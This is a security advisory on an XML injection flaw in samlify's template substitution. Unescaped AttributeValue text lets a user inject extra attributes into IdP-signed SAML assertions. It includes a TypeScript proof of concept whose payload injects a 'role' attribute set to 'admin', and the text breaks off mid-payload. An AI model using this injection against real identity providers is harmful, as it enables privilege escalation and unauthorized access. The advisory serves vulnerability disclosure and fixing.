samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions
Summary
samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).
Root Cause
src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:
```
<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>
```
Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.
Proof-of-concept
- poc/attribute_injection.ts
```TS
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';
samlify.setSchemaValidator(validator);
const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;
const loginResponseTemplate = {
context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
attributes: [
{ name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
{ name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
],
};
const idp = IdentityProvider({
privateKey: readFileSync('./test/key/idp/privkey.pem'),
privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
isAssertionEncrypted: false,
metadata: readFileSync('./test/misc/idpmeta.xml'),
loginResponseTemplate,
});
const sp = ServiceProvider({
privateKey: readFileSync('./test/key/sp/privkey.pem'),
privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
isAssertionEncrypted: false,
metadata: readFileSync('./test/misc/spmeta.xml'),
});
const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
const now = new Date();
const fiveMinutesLater = new Date(now.getTime() + 300_000);
const tvalue = {
ID: _idp.entitySetting.generateID(),
AssertionID: _idp.entitySetting.generateID(),
Destination: _sp.entityMeta.getAssertionConsumerService('post'),
Audience: _sp.entityMeta.getEntityID(),
SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
NameID: user.email,
Issuer: _idp.entityMeta.getEntityID(),
IssueInstant: now.toISOString(),
ConditionsNotBefore: now.toISOString(),
ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
InResponseTo: 'request-id',
StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
attrUserEmail: user.email,
attrUserInjection: user.injection,
};
return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};
async function main() {
const injection = [
'safe',
'</saml:AttributeValue></saml:Attribute>',
'<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
'</saml:Attribute>',
'<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchem
